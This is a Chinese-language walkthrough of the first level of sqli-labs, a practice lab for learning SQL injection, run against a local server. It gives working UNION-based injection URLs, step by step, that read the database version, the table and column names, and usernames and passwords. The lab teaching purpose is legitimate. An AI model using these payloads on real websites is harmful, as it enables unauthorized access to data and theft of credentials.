開啟第一關,我們看到如下介面,上面寫著Please input the ID as parameter with numeric value,它的意思是讓我們請輸入ID作為帶有數值的引數。
我們輸入帶有id的引數:http://127.0.0.1/sqli-labs/Less-1/?id=1,如下圖,正確回顯介面。
我們嘗試加入and 1=1(http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1),正確回顯,然後我們將and 1=1 改為and 1=2,發現正確回顯,為字元型注入,即說明存在閉合的干擾,所以我們在http://127.0.0.1/sqli-labs/Less-1/?id=1後面加一個'(單引號):http://127.0.0.1/sqli-labs/Less-1/?id=1',返回錯誤。如下圖:
註釋:這裡and 1=1 改為and 1=2,發現正確回顯,因為id為int型別,所以傳入的 ‘1 and 1=2’ 會強制轉換成 ‘1’ ,=>最終資料庫中的查詢語句為: select * from user where id ='1'; 所以sql語句不會報錯。
爆的SQL語法錯誤('1'' LIMIT 0,1),多加了一個引號,即為字元型注入,說明為id='id'。
我們對‘後加--+進行註釋。不能用# ,因為url中的# 號代表html頁面中的錨點,資料傳輸過程並不會一起帶到後端,且命令傳到後端,少了一個單引號用來閉合命令(我們可以利用這種特性,在url中命令結尾新增一個單引號來代替註釋符,或者將# 改為url編碼(%23)。
然後我們使用order by對資料進行排序,檢視資料有幾列。(http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+)超過3就會報錯,顯示結果超出。如下:
然後進行union聯合注入(union 的作用是將兩個 sql 語句進行聯合。):當 id 的資料在資料庫中不存在時,(即使 id=-1,兩個 sql 語句進行聯合操作時,當前一個語句選擇的內容為空,就將後面的語句的內容顯示出來)此處前臺頁面返回了構造的 union 的資料。
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+,回顯正確。如下:
我們可以看出是更改select中的2,3來使我們知道我們想知道的資訊。
查詢資料庫版本和資料庫名:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+
查詢使用者名稱和作業系統:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),@@version_compile_os--+
也可以爆出資料庫中的所有資料庫名(http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+),我上邊已經將這個資料庫的庫名爆出來了,沒必要再去爆所有資料庫名。
爆出security 資料庫的資料表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
爆users表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
爆出資料:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users where id=1--+